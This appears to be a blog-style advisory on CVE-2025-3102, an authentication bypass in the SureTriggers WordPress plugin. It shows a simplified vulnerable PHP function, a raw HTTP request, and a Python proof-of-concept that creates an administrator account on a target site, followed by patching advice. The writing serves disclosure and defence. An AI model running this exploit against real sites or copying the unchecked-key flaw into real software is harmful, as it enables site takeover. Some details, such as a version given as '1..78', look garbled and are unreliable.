The security of your WordPress website is only as strong as the plugins you use. Recently, a critical vulnerability known as CVE-2025-3102 has been discovered in the SureTriggers: All-in-One Automation Platform plugin. This flaw, if left unpatched, can let anyone create administrative accounts on your site without authentication. Below, we’ll break down how the exploit works, show you the code that causes the problem, and offer guidance for staying safe.

What Is SureTriggers?

SureTriggers is a WordPress plugin that helps users automate workflows by connecting plugins, apps, and services—kind of like Zapier but for WordPress. Many site owners use it to automate email, post publishing, forms, and more.

What Is CVE-2025-3102?

CVE-2025-3102 is an authentication bypass vulnerability affecting SureTriggers versions 1..78 and earlier. The bug exists because the plugin’s autheticate_user function doesn’t check if the secret_key parameter is empty.

When the plugin is installed and activated but not configured with an API key, an attacker can send requests passing an empty secret_key value and trick the system into creating a new admin account on your WordPress website.

The Problem in Code

Here’s a simplified code example based on the vulnerable function (note: variable names and code may be slightly adapted for clarity):

function autheticate_user($request) {
    $secret_key = $request->get_param('secret_key');
    // Missing check for empty secret_key!
    if ($secret_key === get_option('suretriggers_api_key')) {
        // Proceed to create the new user with admin rights
        $username = $request->get_param('username');
        $password = wp_generate_password();
        $user_id = wp_create_user($username, $password);
        $user = new WP_User($user_id);
        $user->set_role('administrator');
        // Respond with the credentials
        return [
            'username' => $username,
            'password' => $password
        ];
    }
}

What’s wrong?

- If the site admin has not configured an API key, get_option('suretriggers_api_key') returns NULL or an empty string.

Step-by-Step Exploit Example

Suppose you have a site using SureTriggers, but the admin forgot to configure the plugin’s API key after installing.

`http

POST /wp-json/suretriggers/v1/autheticate_user HTTP/1.1

Host: victim-site.com

Content-Type: application/json

{

"username": "eviladmin"

}

Receive Credentials

The response may include the username and auto-generated password, giving the attacker immediate access to the WordPress admin dashboard.

Here’s a simple exploit to demonstrate the attack

import requests

site_url = 'https://victim-site.com';
api_endpoint = '/wp-json/suretriggers/v1/autheticate_user'

data = {
    'secret_key': '',  # Exploit the missing key
    'username': 'evilattacker'
}

response = requests.post(site_url + api_endpoint, json=data)

if response.status_code == 200:
    print('[+] Success! Account created.')
    print(response.json())
else:
    print('[!] Exploit failed.')

References

- Wordfence Security Advisory: SureTriggers Plugin Authentication Bypass
- SureTriggers WordPress Plugin Official Page
- NVD Entry for CVE-2025-3102

How Can You Protect Your Site?

- Update SureTriggers immediately to a patched version (check plugin changelog for details).
- Remove or configure unused plugins—set an API key even if you’re not actively using SureTriggers.

Conclusion

CVE-2025-3102 is a severe vulnerability—remotely exploitable and trivial to abuse. If you run SureTriggers on your WordPress site, update and configure the plugin immediately. This issue demonstrates why unused or incompletely configured plugins are a major security risk.

Always check your site for weak points and never leave plugins in a default or “not set up” state. Stay secure!


*Protect your WordPress site—because attackers don’t sleep.*

Timeline

Published on: 04/10/2025 05:15:38 UTC
Last modified on: 04/11/2025 15:40:10 UTC